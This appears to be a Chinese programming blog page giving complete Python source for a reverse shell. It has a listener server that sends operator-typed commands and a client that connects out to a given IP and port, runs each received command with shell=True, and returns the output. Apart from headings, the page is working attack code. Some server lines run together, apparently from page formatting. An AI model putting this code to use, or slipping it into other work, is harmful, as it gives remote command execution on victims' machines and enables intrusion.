1. 程式人生 > 其它 >反向Shell的服務端與客戶端程式碼

反向Shell的服務端與客戶端程式碼

伺服器端程式碼:

 1 import socket
 2 import json
 3 import optparse
 4 import threading
 5 import sys
 6 
 7 
 8 class TCPServer:
 9     def __init__(self) -> None:
10         self.port = self.get_params()
11         self.server_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12         self.server_s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
13 self.server_s.bind(('0.0.0.0',self.port)) 14 self.server_s.listen(5) 15 print("[-] Waiting for connections...") 16 17 18 def get_params(self): 19 parser = optparse.OptionParser("Usage: <Program> -p port") 20 parser.add_option('-p','--port',dest='
port', type='int', help="Specify listener port") 21 options,args = parser.parse_args() 22 if options.port is None: 23 print(parser.usage) 24 sys.exit(0) 25 if options.port > 65535 or options.port < 0: 26 print("Enter valide port") 27 sys.exit(0)
28 return options.port 29 30 def reliable_send(self,client_s, data): 31 try: 32 33 client_s.send(json.dumps(data).encode('utf-8')) 34 except Exception as e: 35 print(e) 36 37 def reliable_recv(self,client_s): 38 recv_data = "" 39 while True: 40 try: 41 recv_data = recv_data + client_s.recv(1024).decode('utf-8') 42 return json.loads(recv_data) 43 except ValueError: 44 continue 45 46 def client_handler(self,client_s): 47 while True: 48 command = input("# ") 49 self.reliable_send(client_s, command) 50 if command == 'q': 51 break 52 recv_data = self.reliable_recv(client_s) 53 print(recv_data) 54 client_s.close() 55 56 57 def run(self): 58 try: 59 while True: 60 client_s, client_addr = self.server_s.accept() 61 print('~Connected from %s' % str(client_addr)) 62 t = threading.Thread(target=self.client_handler, args=(client_s,)) 63 t.start() 64 except KeyboardInterrupt: 65 self.server_s.close() 66 print("Exit the program") 67 sys.exit(0) 68 except Exception as e: 69 print(e) 70 71 72 73 if __name__ == "__main__": 74 tcp_server = TCPServer() 75 tcp_server.run()

客戶端程式碼:

 1 import socket
 2 import json
 3 import optparse
 4 import sys
 5 import subprocess
 6 
 7 
 8 
 9 class TCPClient:
10     def __init__(self) -> None:
11         self.target = self.get_params()[0]
12         self.port = self.get_params()[1]
13         self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14         self.client_s.connect((self.target, self.port))
15     
16 
17     def get_params(self):
18         parser = optparse.OptionParser("Usage: <Program> -p port")
19         parser.add_option('-p','--port',dest='port', type='int', help="Specify  server port")
20         parser.add_option('-t', '--target', dest='target', type='string', help="Specify server IP address")
21         options,args = parser.parse_args()
22         if options.port is None or options.target is None:
23             print(parser.usage)
24             sys.exit(0)
25       
26         return options.target, options.port
27     
28     def reliable_send(self,data):
29         self.client_s.send(json.dumps(data).encode('utf-8'))
30 
31     def reliable_recv(self):
32         recv_data = ""
33         while True:
34             try:
35                 recv_data = recv_data + self.client_s.recv(1024).decode('utf-8')
36                 return json.loads(recv_data)
37             except ValueError:
38                 continue    
39 
40 
41     def run(self):
42         try:
43             while True:
44                 recv_data = self.reliable_recv()
45 
46                 if recv_data == 'q':
47                     break
48                 command_result = subprocess.check_output(recv_data, shell=True, stderr=subprocess.STDOUT)
49               
50                 self.reliable_send(command_result.decode('utf-8'))
51                
52             self.client_s.close()
53         except:
54             command_result = 'Failed to execute'
55             self.reliable_send(command_result)
56 
57 
58 
59 if __name__ == "__main__":
60     client = TCPClient()
61     client.run()